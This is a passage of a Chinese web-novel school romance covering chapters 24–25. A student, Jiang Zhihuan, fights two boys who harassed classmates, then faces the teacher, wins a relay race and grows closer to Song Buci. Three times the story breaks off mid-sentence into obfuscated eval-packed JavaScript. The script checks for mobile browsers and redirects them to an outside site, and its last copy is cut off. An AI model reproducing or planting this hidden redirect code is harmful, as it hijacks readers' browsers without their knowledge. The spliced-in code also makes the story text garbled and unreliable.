剥掉的包装纸在手里捏成团,她慢条斯理地嚼着,耐心等齐思挑选,目光时而落在门口的贩卖机,时而飘向地面上静躺着、有些反光的钢镚。 一块钱。 也不知道是谁掉的。 耳边响起“嘎吱嘎吱”的塑料声。 两个男生瞎闹着,在离垃圾桶不到一百米处的距离停下,人往上一跳,做出投篮姿势,将手中的塑料瓶扔过去。 “pia”的一声,没进。 姜知幻兴味索然地收回视线。 “菜逼,老老实实捡起来吧。”其中一个男生嘲笑道。 里面,齐思找到范洋要的辣条和乌梅;外面,姜知幻听声耳熟,百无聊赖地将目光投向那两个男生,认出其中一人。 啊,是那个嘴长在键盘上的喷子。 “你说那温玉到底有什么好的?那么多人追捧。你刚看见去跟他搭讪的那几个女生没?啧啧,眼睛被狗吃干抹净了。” “嘿嘿,其中一个身材还挺不错。” “说起这个,上回在他们班门口遇到的那个妞才是真正,就是眼光不行,也是温玉的小迷妹。我就说吧,跟他有关系的人,都不是什么好东西,你记得经常跟温玉玩的那两个男生吧。” 姜知幻微微歪头,咬上唇的力道也随着他说的话在增加。她双眸渐弯,眼神里蕴着一股“没想到居然有人会往枪口上撞”的慵懒笑意。 “记得,你不是说那俩是温玉的走狗吗?不过他们成绩挺好的。” 两人光顾着多嘴,完全没察觉身后不远处有动作的女生。 “切,都不是什么好鸟。”喷子不屑一顾地翻了个白眼。 趁两人未走远,姜知幻神色平静地买了瓶矿泉水,然后转身,目测了下距离,随即一言不发地扬手,将水瓶用力扔了出去。 瓶子在空中划出一道优美的抛物线,直冲喷子的脊背砸去。 小卖部老板不明就里,“哟呵”笑了下,心说抛这么远,对方能接到吗? 而后,她听见男生的痛呼大叫。 “我草你大爷!谁特么扔的,傻逼没长眼睛啊?!” 老板愣住,里面挑选零食的齐思也愣住,唯有姜知幻面不改色地朝他走去,脚下生风。 齐思扭头,一道身影从窗口掠过。她急急忙放下手中的东西跑出去。 喷子看清来人,嘴里又吐出“我草”两字,音量相较方才低了许多。 在不到两米的距离处,姜知幻驻足。 她微抬头,即使仰视着面前人高马大的两位男生,神情却没有半点怯色,一如之前甩门将人阻隔在外的模样,冷静的、不容小觑的、无惧任何伤害与差距。 “谁啊?”喷子左边的紫衣男问。 喷子嘲讽地扯了扯嘴角,目光流里流气地在姜知幻全身上下打量一遍,回:“最正的那个妞儿。” 他是有底气的,毕竟男女力气悬殊,怎么想,对方都是吃亏的那个。 “知…知幻,你没事吧?”齐思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321529|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以百米冲刺的速度跑过来,气喘吁吁道。她满脸担忧地抓住姜知幻的手臂往后拉了拉。 俩个女生势单力薄,打不过。保险起见,还是别惹对方比较好。 喷子捡起地上的水,把与刚才别无二致的目光放到齐思身上,扭头,吊儿郎当地对紫衣男说:“喘得还挺好……” 姜知幻把齐思往身后护的同时抬起脚,猛然踹向喷子的腹部,也将他即将说出口的字堵回了嗓子眼。 水瓶脱手,应声落地。 紫衣男大惊失色,完全没想到这女的会先动手。按理说,局势的主导权不应该在他们身上吗? 齐思不可置信地望着喷子,脸色一阵青一阵白,多的是愤懑不平。她不傻,单是通过他往外蹦出的那几个字和猥琐的神情,就能明白说的不是什么好话。 “真恶心。”齐思的语气毫无杀伤力,但却做了十几年来最有勇气的一件事。她上前两步捡起地上的水瓶就要砸,手还没举起便被抓住了。 姜知幻侧了下头,示意她往后退。 少女眉目漠然,语气也不容拒绝:“打人的事儿我来,你找个安全的地方别被波及。” “……好。”齐思心里咯噔一下,咽了咽口水,回道。 喷子已被紫衣男扶起,嘴里从始至终都在输出不干不净的脏话:“*#%&!*%!&**………” “动手吧。”姜知幻没耐心地开口。 她打架从来没有前戏和废话,也最烦这套。 … 吴回舟回了趟办公室拿东西,顺带捎走方子衿的相机。他一边下楼,一边摆弄着手里四四方方的玩意儿,十分稀罕。 眼睛凑到镜框前,逆时针转动镜头,画面一点点放大。吴回舟正感慨相机的清晰度果然不同于手机时,透过镜框看见一位女生把两个男生按在地上摩擦,旁边还有个女生,表情看起来急得快哭了,怎么拦人都拦不住,于是连忙掏出手机打电话。 吴回舟心说反了天了,脚步加快,隔老远就在喊:“那边的同学干嘛呢!住手,都站在原地别动!” 光天化日,朗朗乾坤,不良风气,严惩不贷! 距离越来越近,透过镜框,吴回舟发现女生是前段时间才夸过“多乖多踏实”,还放言让宋不辞和夏闲学习的对象——姜知幻。 他眼睛顿时瞪圆了。 中年男声中气十足,气贯长虹,然而并没有扯回姜知幻的理智。吴回舟吼完时,她动作一顿,却不是停手的意思,目光反倒看向了小卖部门口放着的木凳子。 光是动手动脚太不得劲儿了。 也是在这时,未知生物和宋不辞地声音一并响起。 “快啊,抄起板凳砸在这两个人渣身上,这是他们活该!” “知幻,冷静点,先停手好不好?” 手腕处似被指腹摩挲,姜知幻独独听见这道干净清澈的男声,像是从众多喧嚣中分离出来了。 他站在她面前,单薄清瘦的身型把气得吹胡子瞪眼的吴回舟、小声啜泣的齐思、捂着腰腹坐起的两个男生,以及操场上关注比赛状况毫不知情的同学们通通挡住。 横生的躁意慢慢消解,理智重新归位。一阵耳鸣之后,所有驳杂声都清晰地、争先恐后地钻入耳中。 姜知幻缓缓抬眼,目光在与宋不辞即将相撞时,眼睫轻颤,有些措手不及地抽回手。她垂眼,留意到他衣服左下方贴着号码牌。 白底红字,18号。 真巧,跟他穿的休闲运动装上印着的数字对上了。 “没事儿了,没事儿了。”宋不辞拍她的肩的手在空中停滞须臾,最终还是轻轻落下去。 “你俩背着我小声嘀咕什么呢?!” 姜知幻深吸一口气,偏头看了眼脖子上挂着相机、正雄赳赳气昂昂地往这边走来的吴回舟,对宋不辞说:“我没事了。” 宋不辞低“嗯”了声,微不可察地松了口气。他转过身,往旁侧挪动一步。 “你们几个,都跟我一起去办公室!”吴回舟的手指从紫衣男挨个点过来。 宋不辞抬脚,没有犹豫地跟上吴回舟的步伐,明显是要陪着一起去。 “宋不辞。”姜知幻叫他的名字。 宋不辞回头看她。 终于舍得说话了,本以为她还打算避着自己。 广播里,温玉的声音响起,提醒参加男子跳高的成员做好准备。 “去比赛吧。”姜知幻听完,对他说,“放心,我有分寸的,刚才都没下死手。” 宋不辞想起那俩男生鼻青脸肿的脸,笑了,温柔又好看。 在齐思眼里,他的笑中还有点无言以对的宠溺。 姜知幻也笑,几句话就把两人之间的氛围拉回从前,仿佛之前冷处理的那段时间从未发生。 “18号选手,你要是真担心我,就拿个第一名吧。”她迎着阳光,慢步走近他,笑盈盈道,明媚又烂漫。 “好。”宋不辞长睫低垂,将目光投注在她脸上,随即抬手,轻轻揉了揉她的发丝,嘴边勾着恣意散漫的笑,“没意外。” 有我在,没意外。 24. Chase 到达办公室。 一路上,吴回舟从校规说到校训,又从校训谈到生逢盛世,少年当有为。 齐思的眼泪时不时无声地掉,姜知幻觉得自己刚才打人时肯定是把人家吓惨了,一直拍她的肩低声安慰,把脑中所有哄人的话都掏空了。 喷子不愧是喷子,听烦了就嘴一斜,跟旁边的紫衣吐槽:“唧唧歪歪,没完没了。” 谁知吴回舟不仅嘴利索,耳朵也灵光着,见他毫无反省之意,取下相机放到办公桌上,转身劈头盖脸一顿批:“全邈啊全邈,你干脆跟李天地组个团得了,叫藐视天藐视地!一天到晚就知道嘴人,嘴了又打不过。你说说你这是第几次来我办公室了,上次挨的那个处分不想消了是吧?又想添一个?!” “添个屁,我又没打人,干嘛老抓着我训?明明是她有病,二话不说冲上来就拿水砸人!还有她旁边那女的,也不拦一下人,故意看我们挨揍,心里特开心是吧!”全邈愤愤不平,指了下后面的姜知幻,又指着自己的脸,说,“明眼人都能看得出来我是被欺负的那个好吗?好好的一张俊脸被打成猪头!” “我们就是想扔个垃圾就无缘无故被打,秉承尊敬师长、爱护同学的心态,想和她讲道理,结果她根本不听!”李天地帮腔道,“吴老师,这可是校园霸凌!” 最后四个说得掷地有声,含着浓浓的冤枉气。 姜知幻:“……” 齐思瞠目结舌,想不通怎么竟有如此厚颜无耻之人。 她反驳:“你…你们别血口喷人!” “怎么,敢做不敢当?”全邈看着她,咧嘴,笑容讥讽。 “你们…你们说的都不是事实…明明…”齐思面对吴回舟就忍不住紧张,手在抖,说话时声音也有点抖。 “别紧张。”姜知幻拍拍她的背,力道不重,却极具安抚性。 待齐思放松下来,她才转脸看向全邈和李天地,语速不疾不徐道:“第一,并非无缘无故被打,你和你朋友辱骂同学,不尊重女性在先,这事怎么不说出来?光挑有利于自己的漂亮话,谁不会说?” 姜知幻语气平和,眼神像是在看哪家烂泥扶不上墙的熊孩子,“第二,我朋友也没有冷眼旁观,她因为拦不住我急成什么样,在场人不瞎,都看得清清楚楚。” “第三,我做错的事我认,但校园霸凌我可不敢当。” 说到这,她面向吴回舟鞠了一躬,语气诚恳十足道:“吴老师,对不起,先动手打人是我不对。我没控制住情绪,采取极端方式解决问题,不仅给同学带来物理上的创伤,还严重损害了对方的自尊心,对此我深感抱歉。我为我的行为,以及为您带来的麻烦和给学校增添的所有负面影响道歉。” “这件事与齐思无关,后果我自己承担。” 齐思怔愣地看着姜知幻。 少女面对教导主任,整个人不卑不亢、不急不躁,措辞有力,条理清晰又不失攻击性。 比起嘴硬搅浑水,这种不推脱、不逃避,且认错态度积极的学生,起码能平息一些老师的怒气。 全邈急了,指着姜知幻的鼻子大叫:“装模作样你倒是有一套,显着你了是吧?我呢?你怎么不给我道歉!” “哎,你别说了。”李天地智商还算在线,连忙压下他的手臂。 姜知幻神色自若地跟他对峙,“我会向你道歉,但前提是你先给我的朋友道歉。” “呸!我……”全邈话没说完便被捂住嘴巴。 李天地恨恨地瞪了他眼,“你是不是傻。” 吴回舟扫视一圈,沉吟片刻,忽地冒了句:“宋不辞哪去了?” “他去比赛了,这事和他也没关系。”姜知幻答得很快。 吴回舟这会儿也冷静下来了,询问起具体情况。姜知幻对答如流,将事情经过简略说明,没详聊骂人的那些话。 避免全邈还想跟条乱咬人的疯狗一样胡搅蛮缠,姜知幻补了句:“吴老师,小卖部那边有监控,我们站的地方都是可见区域。” 吴回舟了然地点点头,目光转向两个男生,“李天地你别说话。全邈,姜知幻说的那些,是事实吗?” 李天地疯狂给全邈使眼色,让他如实交代。偏偏后者仍抱着侥幸心理,妄图大事化小小事化了,嘴硬道:“我没有辱骂同学,只是心里不平衡,吐槽了下而已,也没有不尊重女性,那是开玩笑的。” 李天地两眼一闭。 这兄弟是彻底没救了。 “你管开黄腔叫开玩笑?”门口传来一道爽利的女声。 小卖部老板娘性情中人一个,走进门时,还大喇喇地朝全邈翻了白眼。她绕过几人,将手机甩到吴回舟面前的办公桌上,努努嘴,说:“喏,监控视频。” 因为发生过偷窃事件,她在小卖部里外都安装了监控。 全邈顿时心神不定,李天地慌里慌张地瞄了好几次桌上的手机。 可吴回舟只瞧了眼,没点开,而是定定地看向全邈,反问:“确定没有?” “……确定。”全邈犹豫了下,依然语气坚定。 姜知幻:“……” 真蠢。 吴回舟叹了口气,对老板娘说:“谢谢你啊陈姐,但学生之间的事,就不让你看笑话了。” “呵。”陈秋英拿起手机,揣回兜里,那不屑一顾的表情仿佛在说“这种人,你还给他留面子干嘛”。 终究是没多言,她拖开旁边工位的椅子,大马金刀往那儿一坐,没有要离开的意思。 众人一脸懵逼。 陈秋英很自然地说了句:“你继续做思想工作,我就看看,正好待会儿跟你聊聊前段时间的偷窃事故。” 语必,还从兜里掏出一把瓜子。 吴回舟一个头两个大,却没说什么,转头盯着全邈,“这两年多,我不止一次收到同学们的反馈,有的甚至带了视频。每次温玉回学校你就会拉上几个朋友,去人家班门口七嘴八舌。” “那些视频我都看过,你口才挺不错,骂人的话不仅难听,还都不重样。” 全邈第一次见吴回舟如此镇定严肃,往常犯事,他总是恨铁不成钢,又气又急地讲一大堆道理,即使是给了处分,临走前他都还告诫自己好好读书,改一改那身坏毛病。 可此刻,吴回舟忽然提起了温玉的事,似乎有种秋后算账的意思。 全邈抠抠手,同时心里十分不痛快,事情都发生那么久了,以前不找他,干嘛现在要来算这笔账。 难道温玉告小状了? “你们这个年纪,正是血气方刚,逆反心理最重的年纪。我理解,毕竟我当初也是这样过来的,越不让做什么就越要做。但是一个人可以做错事,但不能做坏事,更不能做错人。” “知错能改,善莫大焉。但品性修养一旦形成,就很难改。还记得我们学校的校训是什么吗?” 这个抛给全邈的问题,也让其他人深思。 姜知幻眨了下眼,平静无澜地盯着桌面,率先一字一顿地说出熟记于心的八个字:“高山景行,独立自由。” 江城三中的校训,也是傅琳的人生格言。 她小时候没少听。 陈秋英乐道,用瓜子点了下姜知幻,说:“小姑娘记性不错。” “……” “对,高山景行,独立自由。”吴回舟继续对全邈说,“这件事,我之所以一直搁置没找你谈,一是觉得你能意识到错误,二是温玉没打算追究。” 全邈目光复杂地看着吴回舟,仿佛还没消化过来他说的话。 “你知道吗,那小子当时说了句特别狂妄的话。”吴回舟笑了下,一字一顿道,“可我一直在翻盘。” 李天地怔住。 七个字,如同一记闷锤砸在全邈的头上,让他无比清晰地明白以前那些攻击都打在了棉花上。 这就是温玉和他身边人从来没把他放在眼里的原因,这就是温玉身处沼泽还能随心所欲的原因。 全邈从未觉得自己是个跳梁小丑,但这一刻,这种不堪而狼狈的感觉却尤为强烈。 姜知幻的眉毛不经意挑了下。 面对这种方方面面都比不过对方的情况,要么自卑,要么嫉妒。 而全邈与那些网络喷子两种都占。不承认自己的自卑,更是嫉妒得发狂。 不得不说,他是个合格的键盘侠。 “其他的我不多说,你们两个自己好好想想。下周一把家长叫来。”吴回舟不主张放弃任何一个学生,但三番两次劝说得到的却总是失望,他不免疲乏。 希望全邈和李天地这次是真把他的话听进去了。 吴回舟又看着姜知幻,端起茶杯,拧开喝了口水,说:“他们有错在先,但一码归一码,暴力解决不了任何问题。” “嗯。”姜知幻乖巧应答,“医药费我出。” “念在你是初犯,认错态度良好,就罚你运动会闭幕式作为高三学生代表发言,记得把演讲稿写漂亮点。”吴回舟微笑着放下茶杯。 这本就是校长的临时决定,闭幕仪式时,让姜知幻作为学生代表上台发言,分享下学习经验啥的。毕竟刚转学不过一周就坐上年级第一的宝座,在三中校史上可谓是绝无仅有的先例。 姜知幻:“?” 齐思眼睛一亮。 全邈横眉瞪眼,“这也算惩罚?” “要不我把那视频放出来看看?”陈秋英咄咄逼人道。 全邈瞬间蔫头耷脑。 “行了,散了吧。运动会,大家都玩开心点。”吴回舟摆摆手,一副赶人走的架势,说。 可姜知幻没动,她似笑非笑地瞥了两个男生,语气带着些许凌厉和尚未妥协之意,提醒:“吴老师,做错事的人难道不该道歉吗?” 少女抱臂,倚靠着桌沿,神情懒而疏淡地看着所有人。她鲜少表现出这副压迫感十足的姿态。 姜知幻大多时候待人都是和和气气的,偶尔露锋芒也只是让人知道这不是个软骨头。以至于当她那刻在骨子里的傲气漏出时,所有人心里都升出一股怪诞微妙的感觉。 “当然要道歉。”吴回舟一拍脑袋,说。 有了这句话,姜知幻身上那股危险气息悉数敛尽。 她诚意满满地对全邈和李天地说:“全同学,李同学,对不起,下次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392979|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也不会发生这种事了。” 将“能屈能伸”四个字落实到极致。 全邈:“……” 李天地:“……” “我该道歉的人都道了,你们也要向骂过的人道歉,对吧?”姜知幻眉眼弯弯地看着两个同龄男生,紧接着加了句。 … 广播站。 温玉转着话筒,在面前一叠加油稿里挑挑拣拣。旁边人拍拍他的肩,指了指不远处的几人,告知有人找。 他抬眼望去,一女两男,全是熟人。 姜知幻四处张望,旁边站着全邈和李天地。 齐思去小卖部买东西了,她说答应好的事不能食言。 阳光底下,两个人高马大的男生抠抠手又挠挠头,小动作不断,一对上温玉的目光就赶紧移开,脸上大写着“窘迫”二字。 “跳高场地在那边。”温玉走近,没理会两人,对姜知幻说。 姜知幻顺着他示意的方向看去。 温玉笑:“他已经比完了,估计在领奖。” “第一?”姜知幻问。 温玉“嗯”了声,把话题扯回正轨:“找我有事?” 姜知幻看向全邈和李天地,用眼神催促。 “那…那什么……”全邈结结巴巴道,微扬的下巴代表他那最后一丝倔强,“以前总说你,对不住啊。” “对不住。”李天地干巴巴地附和了声。 温玉还是第一次收到黑粉的道歉。 他饶有兴味地看着两人脸上的伤,实在没忍住好奇,问:“他们是被你打服气的?” “可能吧。”姜知幻随口道,没将过程详细说明。她远远看见补习班所坐的位置处,那道蓝白色身影被好几个男生簇拥,一时想脱身都难。 这边围观的人越来越多了。 察觉两人要逃,姜知幻迅速挡在两人面前,面无表情道:“去哪?” “我已经给你、那女生和他道歉了,你还想怎样?”全邈说。 姜知幻摇摇头,温声说:“你要道歉的有五个人,现在还剩两个。” 全邈咬牙切齿,“艹!” 三分钟后,宋不辞终于从人群里挤了出来,奖牌扔给夏闲帮忙保管,欲准备动身去找姜知幻,就眼瞅着她带着两个人过来了。 “对不起。” 全邈和李天地对宋不辞说完,步履不停地朝夏闲走去。 “没关系。”宋不辞也不管他们做错了什么,既然给他道歉,他就应下。 宋不辞懒散地站在姜知幻面前,看了眼两人急匆匆的背影,轻哂一声,“他们又骂人了?” 一片阴影覆盖下来,灼热刺目的太阳光被挡住。 姜知幻点头。 “因为这事儿打架?”宋不辞问。 “嗯。”姜知幻看着他胸口挂着的两枚戒指,问,“换戒指了?” 他之前戴的铂金素戒款式简单,上面除了钻石,没有任何装饰,而现在的对戒内外圈都大有玄机。 宋不辞:“国庆节换的,好看吗?” “好看。”姜知幻注视着两枚戒指,没有思考地回。 玄机一:外圈各刻有图案。 月亮和地球。 ——“让月亮围着你转不好吗?” 姜知幻唇角牵起,往前半步,问:“你喜欢的人是地球?” 宋不辞哑然失笑道:“对,是地球。姜同学,你怎么这么聪明啊。” 玄机二:戒指内圈,钻石、蓝宝石和红宝石切割成两半,嵌入其中。两枚戒指合为一体,方为完整。 “那她知道吗?”姜知幻抬手,轻碰了下戒指。 玄机三:内圈也刻有图案,是两根纠缠不清的红色细线。 这设计,莫名眼熟。 宋不辞低眉垂眼,盯着她触碰戒指的指尖,说:“她现在应该知道了。” 姜知幻没说话了,只放下手。 阴凉处,夏闲手肘抵着大腿支着下巴,低头看手里的奖牌。 “对不起。” 两道人影跑至面前,他只听见声,还没抬头看清来人,对方已经脚底抹油,溜得飞快。 “……” 夏闲懒洋洋地打了个哈欠,回想着近段时间做的事。 齐思已经回来了,将袋子里的零食分发给对应的人。她刚才打电话给韦枫玥,让她叫宋不辞过来时,冯潇潇就陪在韦枫玥身边,算是知情人之一。 见姜知幻没和齐思在一起,冯潇潇问了下具体情况。 夏闲从她们口中了解到那句从天而降的“对不起”是为何而来。 “去那边坐着吧,这儿太晒了。”姜知幻说着,抬腿要走。 总在窗户纸要被捅破时收手,并安于现状。 在姜知幻经过身旁时,宋不辞忽地抓住了她的手腕。 少年微微俯身凑近,在她耳边说了句话。 一句令姜知幻瞬间乱了章法的话。 “月亮围着地球转。” “而我,只会围着你转。” 月亮围着地球转。 而宋不辞,只会围着姜知幻转。 25. Chase “嘶,那俩的关系进展简直是突飞猛进呀。” 范洋望着不远处说悄悄话的两人,摸着下巴,一副老者深思的模样,又状似不经意地将手中的乌梅递向冯潇潇。 冯潇潇睨了眼,匪夷所思道:“你下砒霜了?” “我在你心目中的形象竟如此恶毒?”范洋一脸无语的表情,却不好意思直言自己专门拜托齐思买的。 冯潇潇保持怀疑,“你能有这么好心?” “嘴瓢,让齐思误买的。”范洋直接塞她怀里,“你不是喜欢吃这酸不拉几的东西嘛,想着干脆给你算了,也不浪费。” “那什么,明天的三千米加油,能跑第几名是第几名,最后一名也没事。”他抓耳挠腮地补充,语气听起来还挺别扭。 冯潇潇听到“最后一名”四个字,立马炸了,瞪他,把乌梅扔了回去,“咒谁呢?!” “哎!我不是那个意思。” “不听不听,王八念经。” “你才王八呢,冯潇潇,我迟早被你气死!” 韦枫玥和齐思旁观两人斗嘴,笑得不行。 … 下午阳光更烈,姜知幻特意换了套休闲运动装,颜色是扎眼的红,走在人群中无疑是最醒目的那个。 旁边有人提醒:“同学,鞋带松了。” “谢谢。”她低头看了眼,正要蹲下系鞋带,脑袋忽而受力,一顶鸭舌帽扣了上来。 视线里出现一道蓝白身影,他蹲下,骨节分明的手执起鞋带,两指缠绕,三下五除二系了个标准的蝴蝶结。 姜知幻半阖眼,盯着那蓬松的后脑勺和白皙的脖颈看了会儿。她抿了抿唇角,默不作声地调整了下帽檐。 “这下不刺眼了吧?”宋不辞瞧了眼她衣服上的数字,抬眉,“17号选手。” 意识到他给自己戴这顶鸭舌帽是为了遮阳,姜知幻点头,轻飘飘落下一声“嗯”。 从宋不辞的角度看,压低的帽檐掩盖了她的眉眼,所以没发现那转瞬即逝的纠结。 补习班所在的区域,三三两两地挨着坐。来得早,时间还充裕,范洋心血来潮,找上几个人组队打游戏,这会儿正竭尽全力地劝说夏闲。 “夏哥,你那辅助钟馗一勾一个准,贼让人有游戏体验感。求你了,就来一把,就一把!”范洋双手合十,冲他拜了拜。 夏闲伸了个懒腰,说:“我是哪座大佛,值得你这么虔诚?” “夏哥,你要是不来,号借我玩玩,我馋你那些死贵死贵的皮肤很久了。”黑皮嘿嘿笑了两声。 “高泰你别打岔,我马上就要请到大佛了。”范洋说着,远远看见一红一蓝的身影走过来,人立马振奋起来,像是看到了救兵,“十七十八走过来了。” 高泰一头雾水,扭头,“什么十七十八?我去,老宋跟姜知幻穿的是情侣装吧?这么明目张胆!” 秦六佑顺着他们的目光看去,而后垂头催促:“快点啊,还来不来?” “来啊,我这不是在找人么。夏哥说他要来,马上上号,你邀一下。”范洋无视夏闲“我什么时候同意了”的眼神,站起身,兴高采烈地招着手,喊道,“老宋幻姐,打排位,你来不来?” “来呗。”宋不辞回。 反正闲着也是闲着。 姜知幻:“你们玩吧,我没下载。” 她对游戏不感冒,手机里一款游戏app都没有。 “你想玩吗?可以用我的手机。”宋不辞说。 “我没玩过那款游戏。”姜知幻解释。 范洋数了下人,就差一个。他要人心切,想也没想地说:“没事幻姐,老宋打游戏厉害,让他在旁边指导,你那么聪明,肯定一学就会。” 高泰附和:“对对对,你就长着一张游戏大神的脸。” 姜知幻懒洋洋地勾唇,笑道:“行。” 既然都被架到这个高度了,她今天高低也得玩玩,于是找了个空位坐下,接过宋不辞的手机。 “密码。”姜知幻朝他晃了晃未解锁的界面,说。 宋不辞凑近,没直说,没用指纹,也没拿过手机输入。而是就着姜知幻拿手机的状态,伸手,当着她的面,一个一个数字点。 20160520 姜知幻立刻反应过来。 2016年5月20日。 那天是小满,满墙弗罗伦蒂娜开得正艳,而姜知幻在无聊的聚会中看到了宋不辞。那个她唯独感兴趣的人。 是初遇,也是一眼万年。 姜知幻缓而轻地吸了口气,内心的悸动被各种复杂交织的情绪压制着。 开心的、动摇的、不安的、厌弃的……所有的迟疑不决都来自于——她还没完成自洽。 “你玩吧,石冉她们来了,我去找她们聊聊待会儿接力比赛的事。”姜知幻把手机交回宋不辞手中,随即起身走人。 印象中,姜知幻冷静也冲动,疯狂又理性。永远处于两种极差里的人,从来都是无畏无惧的。 但宋不辞第一次见她这副模样,说不上是借口躲避,更有点像是落荒而逃。 忽冷忽热,琢磨不透。 上一秒好好的,下一秒就走人。 宋不辞不由想起奶奶曾说过的话。 “感情之中,90%的问题都源于没有好好沟通。” “那剩下的10%呢?” “背叛和不合适。” … 女子4×400米接力赛预热,石冉一边做热身,一边给其他三人加油打气。 韦枫玥,冯潇潇和齐思站在隔离带外,目不转睛地看着四人,三张嘴张张合合,各说各话。 闹得姜知幻脑瓜子嗡嗡的,连话里的重点都抓不到。 姜知幻跟其他石冉她们相视一眼,挺无奈地笑了下,说:“你们别紧张,放宽心。” “你们别给自己太大压力,我们也尽力。” “享受比赛过程,好好看着,给我们加油打气就好。” 周边都是观众安慰选手,她们这边,选手反过来安慰观众。 “不行啊,我现在又激动又紧张。”冯潇潇两只手各抓着两边人的手臂,使劲晃晃荡荡,“感觉我自己也要开始比赛了。” “那你把这股子冲劲儿留着,待会儿陪我跑。” 姜知幻只是随口说了句玩笑话,想让她缓解一下,哪知冯潇潇这个直肠子竟当真了。 枪响发出,石冉拿着接力棒奋力冲出起跑线。 各班的呐喊声在同时间响起,其中冯潇潇和一位男生吼得最撕心裂肺,她还差点被口水呛到。 男生听见有人比他吼得还凶,马上提高音量:“王琪加油!!冲!!第一就在眼前!!!” “谁是王琪?”冯潇潇好奇问了嘴。 韦枫玥指了指站在姜知幻旁边,尴尬掩面的女生,说:“应该是她吧。” 冯潇潇无语死了,嘴比脑快,“人家都还没开始跑,你加什么油?” “我乐意,你管得着吗?”男生怼回来。 “不就是比谁声音大吗?我们有得是人。”范洋拉上几个男生,端着指挥家的姿态,说,“所有人听令,一二三,吼!” “石冉加油!!!” “田锦加油!!!” “简小莹加油!!!” “幻姐加油!!!!!” 大多呐喊声转化成哄笑声。 石冉专注提速拉距离,没留意。准备接棒的田锦和简小莹面露难色,恨不得冲到范洋面前暴打他一顿。 姜知幻倒是淡定,似已习惯范洋他们那群人的二货性子,抬手取下皮筋,慢条斯理地扎了个高马尾。她来时是低马尾。 至于鸭舌帽,在宋不辞头上。 刚还看见他在附近,这会儿不知所踪。 石冉开了个好头,将位置稳定在前三。田锦和简小莹都全力以赴,奈何对手的实力实在强悍,最终轮到姜知幻接力时,名次成了倒三。 她脸上没有多余的表情,在稳稳抓住接力棒的同时,整个人如同离弦之箭般冲出。 速度快得令人咋舌,冯潇潇懵了一瞬,边用尽全力去追人,边自言自语着:“我靠,她是踩了风火轮吗?” 然而前方的红衣少女还在加速,耳边碎发飘动,衣襟带风。她超过一位又一位同学。 眼见和第一只有几步之遥,冯潇潇大喊,“姜知幻!你给老娘支棱起来啊!!!!” 声音自身后传来,仿若横跨半个操场。 姜知幻差点因这句话笑漏气了,她抿着唇角,猛地提速,将原本的第一甩至身后。 “幻姐牛逼!!!” 补习班的同学们集体沸腾,喊声不绝。 到达赛道终点,由于惯性,姜知幻跑出一段距离,意外撞进一个结实的怀抱。 鼻尖萦绕着淡淡的柠檬香气。 “17号选手,恭喜你们,满载而归。” 少年嗓音和缓,语气是前所未有的认真与喜悦。 与此同时,广播中的音乐陡然一变。 “亲爱的爱上你 从那天起 甜蜜的很轻易 ……” 之前播的歌一直都是积极阳光,浩然正气的类型,比如《少年强》。而这时风格突然改变,很难不让人多想。 姜知幻回头,朝广播站看去,遥望着温玉。对方察觉,冲两人抛了个wink。 “……” “原来你在这儿。”待气息均匀,姜知幻说了句。 宋不辞有点倒霉,半途遇上了吴回舟。夏闲很有先见之明,在吴回舟看过来时就溜了,而慢半拍的宋不辞被叫去帮忙拍照,还科普了下关于iso、光圈、快门的使用方法。 自从接触相机后,吴回舟就对这东西兴趣浓厚,爱不释手。 宋不辞轻声道:“本来可以一直在的。” “啊啊啊啊姜知幻!你怎么这么牛逼!”冯潇潇狂奔过来抱住她,叽里咕噜说了一堆话,“我在后面根本追不上你,其他人陪跑都保持同一水平线,我俩却隔了半个操场!” 范洋紧随其后,“要不说我幻姐牛逼呢。” 好几个同学都围了过来。 “知幻,喝水吗?”石冉把手中的运动饮料递过去,佩服道,“你爆发力也太强了吧!” 冯潇潇接过水,拧开瓶盖。 齐思抽出一张纸巾,给姜知幻擦汗。 韦枫玥扶姜知幻去休息。 逐渐被挤到一边的宋不辞:“……” 得,活都被抢完了,一个没捞着。 … 自从接力赛结束后,来问姜知幻要联系方式或搭话的人接连不断,有些不敢正面找她的,便托人送纸条,无一例外写的都是微.信号或Q.Q号。 其实这种情况从开学那阵就有,但没这么夸张,也没这么频繁。 女子三千米开始前,冯潇潇特意叮嘱姜知幻,让她不要陪跑,万一自己跟不上就丢脸死了。 姜知幻:“……” 冯潇潇不枉这段时间的训练,取得了第三名。而姜知幻传授的经验和技巧都用上了,以至于冯潇潇见到她宛如见到恩公,拿到奖牌的第一时间就去抱姜知幻分享喜悦,激动得差点要亲她脸颊。 当然,冯潇潇没有亲到,因为姜知幻毫不留情地推开了她。 运动会最后一个项目是男子3000米。 在拒绝第十个人的搭讪后。姜知幻实在疲于应付,把帽檐压低遮住整张脸,思考着哪里既能看比赛,又不会被人打扰? “去广播站吧。”宋不辞指出一条明路。 姜知幻抬高帽檐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 